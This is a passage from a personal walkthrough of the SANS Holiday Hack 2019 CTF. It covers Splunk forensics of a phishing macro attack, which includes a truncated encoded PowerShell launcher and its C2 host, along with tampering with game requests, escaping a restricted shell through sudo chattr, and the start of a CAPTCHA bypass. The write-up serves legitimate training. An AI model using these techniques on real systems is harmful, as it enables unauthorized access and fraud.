      0.82     0.00      26 alabaster                      sleep
      0.75     0.00      29 minty                          sleep
      0.82     0.00      30 holly                          sleep
      3.32     0.00      31 root                           su

PS /home/elf/extracted_archive/refraction> Stop-Process -Id 24
PS /home/elf/extracted_archive/refraction> Stop-Process -Id 26
PS /home/elf/extracted_archive/refraction> Stop-Process -Id 29
PS /home/elf/extracted_archive/refraction> Stop-Process -Id 30

After killing the processes, the riddle said that we /shall/see. Let's look into the /shall folder at the root of the file system:

PS /home/elf/extracted_archive/refraction> dir /shall


    Directory: /shall

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          12/23/19  8:55 PM            149 see

There is indeed a /shall/see file. Let's get its content:

PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.

So, there is an event log in XML format in /etc. We must find the event with the unique Id, and the last parameters for the alser will be in its properties. First, let's find this XML file:

PS /home/elf/extracted_archive/refraction> Get-ChildItem -recurse -file -include "*.xml" /etc
Get-ChildItem : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ Get-ChildItem -recurse -file -include "*.xml" /etc
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand



    Directory: /etc/systemd/system/timers.target.wants

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml

So, the event log sits at /etc/systemd/system/timers.target.wants/EventLog.xml. We can directly parse the content of the file in PowerShell:

PS /home/elf> [xml]$event_log = gc /etc/systemd/system/timers.target.wants/EventLog.xml

Then, let's take a look at every Id to see which one is unique:

PS /home/elf> $event_log.Objs.Obj.Props.I32 | ? { $_.N -eq "Id" } | % {$_.'#text'} | Group-Object | Format-Table count, name

Count Name
----- ----
    1 1
   39 2
  179 3
    2 4
  905 5
   98 6

So, the unique Id seems to be 1. Let's list the properties of the event with Id=1:

PS /home/elf> $event_log.Objs.Obj | ? { $_.Props.I32.N -eq 'Id' -and $_.Props.I32.'#text' -eq 1} | % { $_.Props.Obj.LST.Obj.Props.S.'#text' }
2019-11-07 17:59:56.525
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
10.0.14393.206 (rs1_release.160915-0644)
Windows PowerShell
Microsoft® Windows® Operating System
Microsoft Corporation
PowerShell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    F=20`n    Kr=8`n    Rn=9`n}`n"
C:\
ELFURESEARCH\allservices
High
MD5=097CE5761C89434367598B34FE32893B
C:\Windows\System32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs

This gives us the values for the gas dosage for the laser. We now have every parameters to repair the laser.

First let's update the angle:

PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Tue, 24 Dec 2019 11:42:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 77

Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.

Now the refraction:

PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Tue, 24 Dec 2019 11:42:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 87

Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.

Then the temperature:

PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Tue, 24 Dec 2019 11:42:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 82

Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.

And finally the gas levels:

PS /home/elf> $correct_gases_postbody = @{ O=6; H=7; He=3; N=4; Ne=22; Ar=11; Xe=10; F=20; Kr=8; Rn=9}
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/gas -Method POST -Body $correct_gases_postbody).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Tue, 24 Dec 2019 11:42:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 81

Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.

Aaaaand:

PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 30 Dec 2019 12:39:57 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 58

Failure - Only 2.17 Mega-Jollies of Laser Output Reached!

It didn't work! Hmm, maybe we should try turning it off and on again?

PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/off).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 30 Dec 2019 12:40:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33

Christmas Cheer Laser Powered Off
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/on).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 30 Dec 2019 12:40:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32

Christmas Cheer Laser Powered On
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 30 Dec 2019 12:40:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 200

Success! - 5.47 Mega-Jollies of Laser Output Reached!

There you go!

Network Log Analysis: Determine Compromised System

We're given Zeek logs to try and identify the IP address of the infected computer. Among the log files, we can see some HTML files. Let's open them in our browser:

We have the web interface to RITA, the Real Intelligence Threat Analytics tool. It can ingest Bro or Zeek logs, and detect several suspicious behaviour on the network, including beaconing behaviour. This means that it can likely help us identify the machine that was infected, and is likely taking order from a C2 server.

Let's go over the "Beacons" tab:

By far, the most suspicious activity seems to be between internal IP 192.168.134.130 and external IP 144.202.46.214. This means that the infected machine is likely 192.168.134.130.

Objective 6: Splunk

Now that we have solved objectives 2 through 5, let's go talk to Santa again.

Santa says

Thank you for finding Jane and Michael, our two turtle doves!

I’ve got an uneasy feeling about how they disappeared.

Turtle doves wouldn’t wander off like that.

Someone must have stolen them! Please help us find the thief!

It’s a moral imperative!

I think you should look for an entrance to the steam tunnels and solve Challenge 6 and 7 too!

Gosh, I can’t help but think:

Winds in the East, snow coming in…

Like something is brewing and about to begin!

Can’t put my finger on what lies in store,

But I fear what’s to happen all happened before!

We're asked to contact the Elf U SOC team via their Splunk server (credentials elf:elfsocks).

We first have a little chat with Kent:

Guest (me): Hi Kent :-)

Kent: Hi yourself.

Guest (me): I ran into Professor Banas. He said you contacted him about his computer being hacked?

Kent: Oh, well lots of analysts try to make it here in the ELF U SOC, but most of them crack under the pressure

Guest (me): Well, can I help?

Kent: You can try. Go check out #ELFU SOC. Maybe someone there will have time to bring you up to speed. Here's a tip, click on those blinking red dots to the left column and read very carefully.

Guest (me): Thanks???

Alright, Kent... Way to be an ass. Anyway, let's check the #ELFU SOC channel:

Cosmo Jingleberg: Hey did you all see that beaconing detection from RITA?

Zippy Frostington: Yep. And we have some system called 'sweetums' here on campus communicating with the same weird IP

Alice Bluebird: Gah... that's Professor Banas' system from over in the Polar Studies department

Guest (me): That's why I'm here, actually...Kent sent me to this channel to help with Prof. Banas' system

Alice Bluebird: smh...I'll DM you

And in DM with Alice:

Alice Bluebird: Okay. Your goal is to find the message for Kent that the adversary embedded in this attack.

If you think you have the chops for that, don't let me slow you down. Get searching and enter the Challenge Question answer when you've found it.

You'll need to know some things, though:

We use Splunk, so click here or hit the Search link in the navigation up above to get started.

I copied some raw files here or click the File Archive link in the navigation. (You'll find some references to the File Archive contents in Splunk)

You'll need to use both of these resources to answer the Challenge Question!

Don't worry though, I can get you started down the right path with a few hints if you need 'em. All you have to do is answer the first training question. If you've read all the chat windows here, you already have the answer ;-)

Answering the challenge question

Alright, we're supposed to find the message the attacker left for Kent. Alice says that we need both the Splunk search tool and the raw file archive to answer this question. However, just using the file archive is possible.

By taking a look at the file archive URL, we can see that it's hosted on an AWS S3 bucket. Browsing the web interface is not super practical, so let's download the bucket using the AWS CLI tools:

$ aws s3 sync s3://elfu-soc . --no-sign-request --region us-east-1

The --no-sign-request flag is used to tell the tool that we don't want to try to authenticate: we want to download the S3 content as an anonymous user.

We can now search the raw files for mentions of Kent:

$ cd "stoQ  Artifacts"
$ grep -Rn 'Kent' .
./home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4:2:<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Holiday Cheer Assignment</dc:title><dc:subject>19th Century Cheer</dc:subject><dc:creator>Bradly Buttercups</dc:creator><cp:keywords></cp:keywords><dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description><cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy><cp:revision>4</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified><cp:category></cp:category></cp:coreProperties>

The message is Kent you are so unfair. And we were going to make you the king of the Winter Carnival.. We got the correct answer, and we didn't need to use Splunk!

Answering the training questions

However, the SANS Challenges are about learning new skills. Being on the red side of infosec, I don't often see how the blue team operates. So I thought it would be fun to try and learn how to search for an attacker using Splunk.

So let's answer the training questions!

First question

What is the short host name of Professor Banas' computer?

This one is easy, we can find the info in the #ELFU SOC chan: sweetums.

Second question

What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:tempreport.pdf)

By DM, Alice tells us that the Elf U staff is worried that the attacker may have accessed Santa's sensitive data. So let's search for santa in the Splunk search engine.

The very first result is a suspiciously long PowerShell command accesses a file likely sent by Santa to Professor Banas:

08/25/2019 09:19:20 AM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4103
EventType=4
Type=Information
ComputerName=sweetums.elfu.org
User=NOT_TRANSLATED
Sid=S-1-5-21-1217370868-2414566453-2573080502-1004
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when operation is just executing a method
RecordNumber=417616
Keywords=None
Message=CommandInvocation(Stop-AgentJob): "Stop-AgentJob"
CommandInvocation(Format-List): "Format-List"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Stop-AgentJob): name="JobName"; value="4VCUDA"
ParameterBinding(Format-List): name="InputObject"; value="C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt:1:Carl, you know there's no one I trust more than you to help.  Can you have a look at this draft Naughty and Nice list for 2019 and let me know your thoughts? -Santa"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.FormatStartData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.GroupStartData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.FormatEntryData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.GroupEndData"
ParameterBinding(Out-String): name="InputObject"; value="Microsoft.PowerShell.Commands.Internal.Format.FormatEndData"


Context:
        Severity = Informational
        Host Name = ConsoleHost
        Host Version = 5.1.17134.858
        Host ID = c44dfd99-a4ba-452c-bf0d-07206a97112b
        Host Application = powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBlAHIAUwBpAG8ATgBUAGEAQgBMAGUALgBQAFMAVgBFAFIAcwBJAE8AbgAuAE0AQQBKAG8AcgAgAC0AZwBFACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAUwBzAEUATQBCAGwAeQAuAEcARQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgA
        [...]

The file that was accessed is C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt.

Third question

What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

So, we know that the malware is likely using PowerShell. So let's search for powershell.exe in the Splunk search engine.

By looking at the different fields on the side, we can see one named DestinationHostname, which is prety self-explanatory: it's likely the hostnames that our PowerShell processes are communicating with:

We can see that around 92% of every events concerning powershell.exe are communicating with the hostname 144.202.46.214.vultr.com. This is most likely our C2 FQDN.

Fourth question

What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

Now, by taking a look at the different logs, we can see that Prof. Cabanas has received a lot of emails by students, sending their assignments as attachments. The most likely compromise path probably involves a malicious Microsoft Office document with embedded macros that ran the malicious PowerShell code.

Let's search for the Microsoft Word process WINWORD.EXE in the Splunk search engine. By taking a look at the RuleName attributes, we can see that one Microsoft Word process triggered a rule called "Execution - Suspicious WMI module load". This can indicate the execution of a macro in a Word document:

Let's investigate this particular WINWORD.EXE process. We can see from the Splunk search engine that it was run at around 5:18 PM on 2019-08-25. This Microsoft Word process had a PID of 6268.

Let's search only for this PID in the Splunk search engine.

We can see in the file_path attribute that this process opened a document called C:\Users\cbanas\AppData\Local\Packages\oice_16_974fa576_32c1d314_3570\AC\Temp\26251897.docm. This looks like a good candidate. Indeded, .docm documents are Office Documents that can execute macros. However, 26251897.docm, is not the original name of this document.

We can see that it's in Prof Banas' temporary folder, with a temporary name. This often happens if the file was directly open from the Internet, or from an archive without first decompressing it to disk.

We know the Microsoft Word process responsible for executing the PowerShell payload was launched at around 5:18 Pm on 2019-08-25. Let's look for emails received around that time.

We can see that only one email was received around that time:

It had, indeed, a ZIP archive as an attachment, containing a document called 19th Century Holiday Cheer Assignment.docm.

Fifth question

How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

Now that is a question I find more easily answered using the file archive. We can grep for From: header directly in the files:

$ grep -hR 'From: ' .
From: Merry Fairybubbles <Merry.Fairybubbles@students.elfu.org>
From: Carl Banas <Carl.Banas@faculty.elfu.org>
From: Sixpence Snowcane <Sixpence.Snowcane@students.elfu.org>
From: Sparkle Redberry <Sparkle.Redberry@students.elfu.org>
From: Partridge Sugartree <Partridge.Sugartree@students.elfu.org>
From: Turtledove Fairytree <Turtledove.Fairytree@students.elfu.org>
From: Cherry Brandyfluff <Cherry.Brandyfluff@students.elfu.org>
From: Carl Banas <Carl.Banas@faculty.elfu.org>
From: Cupcake Silverlog <Cupcake.Silverlog@students.elfu.org>
[...]

Let's remove Prof Banas' email address from the results, and let's get only unique outputs:

$ grep -hR 'From: ' . | sort -u | grep -v 'Carl Banas' | wc -l
21

Twenty-one unique email addresses were used to send essays to Prof Banas.

Sixth question

What was the password for the zip archive that contained the suspicious file?

In question four, we were able to find the malicious mail containing the archive. Let's take a look at this email one more time. We can see in the results{}.workers.smtp.body property the content of the email:

professor banas, i have completed my assignment. please open the attached zip file with password 123456789 and then open the word document to view it. you will have to click "enable editing" then "enable content" to see it. this was a fun assignment. i hope you like it!

—bradly buttercups

The password for the file is 123456789.

Seventh question

What email address did the suspicious file come from?

From the same email, we can find the sender's email address. It's bradly.buttercups@eIfu.org>. You can notice that the second letter in the domain is a capital i and not a lowercase l. It's a common trick used when sending a phishing email.

Now let's mock Kent:

Guest (me): Oh man that's pretty embarrassing, eh?

Kent: Oh you again?

Guest (me): lulz...

Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

Kent: You'll rue the day.

Guest (me): Who talks like that?

Kent, you're the worst.

Objective 7:

The Dorm Room's Keypad

There's a keypad controlling the access to the elves' dorm room. Since it's colde outside, the keys are a little bit frosty:

We can kind of make out the keys that are most used: 1, 3, and 7. Naturally, I tried 1337, but this wasn't the right code.

Luckily, Tangle Coalbox is here to provide us with clues.

Tangle Coalbox says

Hey kid, it's me, Tangle Coalbox.

I'm sleuthing again, and I could use your help.

Ya see, this here number lock's been popped by someone.

I think I know who, but it'd sure be great if you could open this up for me.

I've got a few clues for you.

One digit is repeated once.

The code is a prime number.

You can probably tell by looking at the keypad which buttons are used.

Alright, we were on the right track: we can see which buttons are used, and our first code had indeed one digit repeated once. However, 1337 is not a prime number. So, let's code a little script that will generate potential candidates. I used Python, with the sympy library to test primality:

#!/usr/bin/env python3

from itertools import permutations
from sympy import isprime

def main():
    # These are our three digits
    base_digits = '137'
    valid_candidates = set()

    for d in base_digits:
        # We create a string with four digits, by repeating each digit once
        doubled_digits = d + base_digits
        for p in permutations(doubled_digits, 4):
            candidate = ''.join(p)
            if isprime(int(candidate)):
                valid_candidates.add(candidate)

    print('\n'.join(valid_candidates))

if __name__ == '__main__':
    main()

$ ./frost_key_pad.py
1373
3371
7331
3137
1733

We now have only five candidates. By trying them each one by one, we find that the correct code is 7331 (which is 1337 backwards, might have found it with a little bit of guessing).

Minty Candy Cane's Cranberry Pi Challenge

We have an old video game that we must beat:

Welcome to the Trail! It's nearly time for Kringlecon. You need to get there before the 25th day of December! Hitch up your reindeer, gather your supplies, and do your best to make it to the North Pole on time.

Good luck!

There are three difficulty level, easy, medium, and hard.

Now, let's select the easy mode, and start playing:

Hmm, we can see a distance parameter in the URL. We also see that we have a remaining distance of 8000. What happends if we modify the distance parameter in the URL?

Well, if we put distance=1, we can see that the remaining distance is 7999. So, let's put distance=8000 and press GO:

Alright, that was easy! Let's try the medium mode:

So, no parameter in the URL. Let's launch Burp, and see what happens if we press GO:

POST /trail/ HTTP/1.1
Host: trail.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Content-Length: 416
Cookie: trail-mix-cookie=fd1ec9a9109e6fd09265795ccebab2d65473a9d2

pace=0&playerid=JebediahSpringfield&action=go&difficulty=1&money=3000&distance=0&curmonth=8&curday=1&name0=Jane&health0=100&cond0=0&cause0=&deathday0=0&deathmonth0=0&name1=Anna&health1=100&cond1=0&cause1=&deathday1=0&deathmonth1=0&name2=Vlad&health2=100&cond2=0&cause2=&deathday2=0&deathmonth2=0&name3=Vlad&health3=100&cond3=0&cause3=&deathday3=0&deathmonth3=0&reindeer=2&runners=2&ammo=50&meds=10&food=200&hash=HASH

Ok, the distance parameter is not in the URL anymore, it's sent by POST. So, let's press the GO button once more, intercept the request in Burp, and change the distance value to 8000:

POST /trail/ HTTP/1.1
Host: trail.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Content-Length: 416
Cookie: trail-mix-cookie=fd1ec9a9109e6fd09265795ccebab2d65473a9d2

pace=0&playerid=JebediahSpringfield&action=go&difficulty=1&money=3000&distance=8000&curmonth=8&curday=1&name0=Jane&health0=100&cond0=0&cause0=&deathday0=0&deathmonth0=0&name1=Anna&health1=100&cond1=0&cause1=&deathday1=0&deathmonth1=0&name2=Vlad&health2=100&cond2=0&cause2=&deathday2=0&deathmonth2=0&name3=Vlad&health3=100&cond3=0&cause3=&deathday3=0&deathmonth3=0&reindeer=2&runners=2&ammo=50&meds=10&food=200&hash=HASH

Not too bad! Now, let's try the hard mode.

The hard mode works the same as the medium mode however, there is a verification hash that is used to verify that we did not modify the state, as we did previously. Here's the original request:

POST /trail/ HTTP/1.1
Host: trail.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Content-Length: 452
Cookie: trail-mix-cookie=f2a856a1e116d4c8e20dac88f31505dba60e7a17

pace=0&playerid=JebediahSpringfield&action=go&difficulty=2&money=1500&distance=0&curmonth=9&curday=1&name0=Emmanuel&health0=100&cond0=0&cause0=&deathday0=0&deathmonth0=0&name1=Lila&health1=100&cond1=0&cause1=&deathday1=0&deathmonth1=0&name2=Mathias&health2=100&cond2=0&cause2=&deathday2=0&deathmonth2=0&name3=Joseph&health3=100&cond3=0&cause3=&deathday3=0&deathmonth3=0&reindeer=2&runners=2&ammo=10&meds=2&food=100&hash=bc573864331a9e42e4511de6f678aa83

Now, let's see what happens it we try to modify the distance parameter:

POST /trail/ HTTP/1.1
Host: trail.elfu.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Content-Length: 452
Cookie: trail-mix-cookie=f2a856a1e116d4c8e20dac88f31505dba60e7a17

pace=0&playerid=JebediahSpringfield&action=go&difficulty=2&money=1500&distance=8000&curmonth=9&curday=1&name0=Emmanuel&health0=100&cond0=0&cause0=&deathday0=0&deathmonth0=0&name1=Lila&health1=100&cond1=0&cause1=&deathday1=0&deathmonth1=0&name2=Mathias&health2=100&cond2=0&cause2=&deathday2=0&deathmonth2=0&name3=Joseph&health3=100&cond3=0&cause3=&deathday3=0&deathmonth3=0&reindeer=2&runners=2&ammo=10&meds=2&food=100&hash=bc573864331a9e42e4511de6f678aa83

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sun, 12 Jan 2020 21:35:13 GMT
Content-Length: 198
Set-Cookie: trail-mix-cookie=8dc362d86d212e4032987287943a7b0f1c569ef1; expires=Mon, 13 Jan 2020 00:35:13 GMT; HttpOnly; Max-Age=10800; Path=/

<html><title>Fail</title><body style='background-color:black;'><font color='white'>Sorry, something's just not right about your status: badHash<br>You have fallen off the trail.&trade;</body></html>

Well, we can't modify the parameters anymore, they are checked. Or, are they? By trying to modify different parameters, we can see which ones are checked in the hash parameter. For example, we can't modify the distance, or our money. But the reindeers' health is not checked. So, we can modify their health, so that our reindeers is always to the max. We can use Burp's match and replace functionality to do so:

Now, we can set the pace to "Grueling", and keep progressing, and travel the whole distance:

Get Access To The Steam Tunnels

When we get inside an elf's room, we see a weird looking guy running away:

We follow him into the closet, but we're face to a closed door, with a key ring and a key hole. If we snoop around the room, we find a weird looking machine, with six dials and a "Cut" button. Let's try something:

Alright! It's a key cutter. We can cut a key with different notch size.

If we manage to get a glimpse of the key opening the door in the closet, we can cut a copy, and then open the door. But where can we see the key?

Looking back at the guy that ran away, we can see that he has a key dangling from his belt. But he's running away fast, how can we get a good look at the key? Well, we can use our browser's developer tools, head over to the "Network" tab, and see the image of our guy being downloaded:

Let's download our krampus.png:

Now, we can open this image in our favorite image editor, and zoom in on the key:

We can clearly see the six notches in this key. But how deep are they? We can infer a couple of guesses:

Notch #6 seems to be of depth zero. We can determine this by cutting trial keys on the key cutter.
Notch #1 seems to be one depth unit less than notch #2, but one depth unit more than notch #6.
Notches #2, 3, and 5, seem to be the same depth.

So, we can then venture that:

Notch # 1 is depth 1
Notches #2, 3, and 5 are depth 2
Notch #6 is depth 0

There is still some uncertainty regarding notch #4. It seems to be three or four depth unit more than notch #2, which would make it 5 or 6. We can generate both keys and try them both. Turns out that the correct key is 122520:

We can now enter the steam tunnels, where we can find our runaway guy:

Krampus says

Hello there! I’m Krampus Hollyfeld.

I maintain the steam tunnels underneath Elf U,

Keeping all the elves warm and jolly.

Though I spend my time in the tunnels and smoke,

In this whole wide world, there's no happier bloke!

Yes, I borrowed Santa’s turtle doves for just a bit.

Someone left some scraps of paper near that fireplace, which is a big fire hazard.

I sent the turtle doves to fetch the paper scraps.

But, before I can tell you more, I need to know that I can trust you.

Tell you what – if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you.

The contest is here on my screen and at fridosleigh.com.

No purchase necessary, enter as often as you want, so I am!

They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs.

Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA.

(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)

I've already cataloged 12,000 images and decoded the API interface.

Can you help me bypass the CAPTEHA and submit lots of entries?

Objective 8:

Alabaster Snowball's Cranberry Pi Challenge

Alabaster has a custom nyancat shell, but we're supposed to log into his account and launch a regulard bash prompt:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄░░░░░░░░░
░░░░░░░░▄▀░░░░░░░░░░░░▄░░░░░░░▀▄░░░░░░░
░░░░░░░░█░░▄░░░░▄░░░░░░░░░░░░░░█░░░░░░░
░░░░░░░░█░░░░░░░░░░░░▄█▄▄░░▄░░░█░▄▄▄░░░
░▄▄▄▄▄░░█░░░░░░▀░░░░▀█░░▀▄░░░░░█▀▀░██░░
░██▄▀██▄█░░░▄░░░░░░░██░░░░▀▀▀▀▀░░░░██░░
░░▀██▄▀██░░░░░░░░▀░██▀░░░░░░░░░░░░░▀██░
░░░░▀████░▀░░░░▄░░░██░░░▄█░░░░▄░▄█░░██░
░░░░░░░▀█░░░░▄░░░░░██░░░░▄░░░▄░░▄░░░██░
░░░░░░░▄█▄░░░░░░░░░░░▀▄░░▀▀▀▀▀▀▀▀░░▄▀░░
░░░░░░█▀▀█████████▀▀▀▀████████████▀░░░░
░░░░░░████▀░░███▀░░░░░░▀███░░▀██▀░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

nyancat, nyancat
I love that nyancat!
My shell's stuffed inside one
Whatcha' think about that?

Sadly now, the day's gone
Things to do!  Without one...
I'll miss that nyancat
Run commands, win, and done!

Log in as the user alabaster_snowball with a password of Password2, and land in a Bash prompt.

Target Credentials:

username: alabaster_snowball
password: Password2
elf@af7e11560ac9:~$

We're given his credentials. Let's use the regular way to switch user context with the su binary:

elf@af7e11560ac9:~$ su alabaster_snowball
Password:

Aaaaand of course we're greeted by the nyancat.

Alright, let's take a look at Alabaster's shell:

elf@af7e11560ac9:~$ grep alabaster_snowball /etc/passwd
alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh
elf@af7e11560ac9:~$ ls -lh /bin/nsh
-rwxrwxrwx 1 root root 74K Dec 11 17:40 /bin/nsh

So Alabaster's shell is /bin/nsh. The binary appears to be writeable by anyone. So if we replace /bin/nsh by another binary, say /bin/bash, we can drop into the correct prompt:

elf@af7e11560ac9:~$ cp /bin/bash /bin/nsh
cp: cannot create regular file '/bin/nsh': Operation not permitted

Hmm, it didn't work. Even if the file is chmod 777, we can't modify it. This looks like its attributes were modified:

elf@af7e11560ac9:~$ lsattr /bin/nsh
----i---------e---- /bin/nsh

Indeed, the i flag means that the file is immutable. As the elf user, we can't modify /bin/nsh's attributes, because it belongs to root. Can we execute command as root? Let's take a look at our sudo abilities:

elf@af7e11560ac9:~$ sudo -l
Matching Defaults entries for elf on af7e11560ac9:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User elf may run the following commands on af7e11560ac9:
    (root) NOPASSWD: /usr/bin/chattr

Yes, we can run chattr, which allows us to remove the immutable file from /bin/nsh, and then modify its content:

elf@af7e11560ac9:~$ sudo chattr -i /bin/nsh
elf@af7e11560ac9:~$ lsattr /bin/nsh
--------------e---- /bin/nsh
elf@af7e11560ac9:~$ cp /bin/bash /bin/nsh

We can now log into Alabaster's account, which will drop us into a bash prompt:

elf@af7e11560ac9:~$ su alabaster_snowball
Password:
Loading, please wait......



You did it! Congratulations!

alabaster_snowball@af7e11560ac9:/home/elf$

Bypassing the Frido Sleigh CAPTEHA

So, Krampus wants us to help him win the Frido Sleigh contest. But to do so, we need to bypass the CAPTEHA, or "Completely Automated Public Turing test to tell Elves and Humans Apart". You see, only elves can enter the contest.

As you can see, the CAPTEHA is pretty hard. We're given 100 images, and we have five seconds to select every image from three categories. Feasible for an elf, but not a human.

Luckily, Krampus gave us an archive of 12,000 images that are properly categorized, and a Python script to interact with the website API. We can use these images to create a Machine Learning model, so that our Python script can answer the CAPTEHA in our place.

Now, I don't know anything about Machine Learning. Luckily, there's a conference on the subject right here at KringleCon! Be sure to give it a look, it's pretty interesting.

As Chris suggests in his talk, I'm going to use TensorFlow to create a model to solve our CAPTEHA. I was first going to use the retrain.py mentioned in the talk, however, it seems to have been deprecated in favor of make_image_classifier. So let's use this script instead:

$ make_image_classifier --image_dir ./capteha_images --tfhub_module https://tfhub.dev/google/tf2-preview/mobilenet_v2/feature_vector/4 --saved_model_dir capteha_model --labels_output_file capteha_labels.txt --tflite_output_file capteha_lite_model --batch_size 16
I1231 13:03:54.815997 140094772307776 resolver.py:79] Using /tmp/tfhub_modules to cache modules.
2019-12-31 13:03:55.051043: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA
